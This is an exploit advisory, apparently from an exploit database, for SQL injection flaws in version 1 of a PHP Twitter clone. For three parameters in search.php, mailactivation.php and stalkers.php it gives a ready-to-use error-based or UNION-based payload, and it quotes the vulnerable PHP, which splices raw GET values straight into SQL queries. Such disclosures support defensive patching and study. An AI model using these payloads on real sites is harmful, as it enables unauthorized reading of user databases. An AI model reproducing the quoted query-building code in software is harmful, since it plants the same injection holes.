Twitter-Clone 1 – ‘code’ SQL Injection
# Exploit Title: Twitter-Clone 1 - 'code' SQL Injection # Date: 2018-08-22 # Exploit Author: L0RD # Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/ # Version: 1 # CVE: N/A # Tested on: Win 10 # vulnerable files : [mailactivation.php , stalkers.php , search.php] # vulnerable parameters : [name , code , id] # 1) search.php : # vulnerable parameter : name # Type : Error-based # Payload : %' AND extractvalue(1,concat(0x3a,database(),0x3a))%23 # vulnerable code : if($_GET['name']!=""){ $what = $_GET['name']; include "connect.php"; $users = mysqli_query($con, "SELECT id, username, followers, following, tweets FROM users WHERE username LIKE '%$what%' ORDER BY username ASC LIMIT 0, 10 "); # 2) mailactivation.php : # vulnerable parameter : code # Type : Union query # Payload : ' UNION SELECT 1,user(),3,4,5,6%23 # vulnerable code : include "connect.php"; $givenname = $_GET['username']; $givencode = $_GET['code']; $query = mysqli_query($con, "SELECT code, active FROM users WHERE code = '$givencode' AND username = '$givenname' "); $row = mysqli_fetch_assoc($query); $wantedcode = $row['code']; # 3) stalkers.php : # vulnerable parameter : id # Type : Union query # Payload : ' UNION SELECT 1,2,user(),4,5,6 # vulnerable code : if ($_GET['id'] != "") { $theid = $_GET['id']; include "connect.php"; $stalked = mysqli_query($con, "SELECT id, username, followers, following FROM users WHERE id = '$theid' "); $row1 = mysqli_fetch_assoc($stalked); $usern = $row1['username']; |